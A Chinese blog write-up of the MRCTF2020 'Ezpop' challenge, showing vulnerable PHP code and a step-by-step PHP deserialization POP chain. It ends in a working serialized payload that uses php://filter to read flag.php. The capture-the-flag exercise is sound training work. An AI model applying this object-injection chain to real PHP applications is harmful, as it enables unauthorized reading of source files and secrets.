首页/文章列表/文章详情

[MRCTF2020]Ezpop(反序列化)

编程知识2232024-07-18评论

打开题目即可得源码

Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }}class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo"hacker"; $this->source ="index.php"; } }}class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); }}if(isset($_GET['pop'])){ @unserialize($_GET['pop']);}else{ $a=new Show; highlight_file(__FILE__);}

涉及的魔术方法如下

__construct(类一执行就开始调用,其作用是拿来初始化一些值。)__toString(在对象当做字符串的时候会被调用。)__wakeup(该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作)__invoke(当尝试以调用函数的方式调用一个对象时,方法会被自动调用)__get(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法)

我们先找一下哪个地方能帮助我们拿到flag

class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }}

1.很明显这个Modifier中的include可以利用伪协议把flag.php包含出来

2.我们要调用Modifier中的include就要触发__invoke()

在class Test可以利用_get()$function = $this->p;使其中的p=new Modifier();这样就成功触发了class Modifier中的__invoke()

3.继续想办法触发_get()(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法)

在class Show我们可以让__toString()方法中的str=new Test()这样它就调用了Test中不存在的source,成功触发_get

4.接下来考虑如何触发__toString()(在对象当做字符串的时候会被调用。)

这里就很明显了我们可以利用 Show中的__wakeup()中的preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)我们把source=new show();即是把对象当成了字符串来进行了正则匹配

把我们的思路反过来就是一个完整的pop链

class Modifier { protected $var="php://filter/convert.base64-encode/resource=flag.php"; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }}class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo"hacker"; $this->source ="index.php"; } }}class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); }}$a=new Show();$a->source=new Show();$a->source->str=new Test();$a->source->str->p=new Modifier();echo serialize($a);

image
因是私有属性而产生的特殊符号换为%00

?pop=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
神弓

博客园

这个人很懒...

用户评论 (0)

发表评论

captcha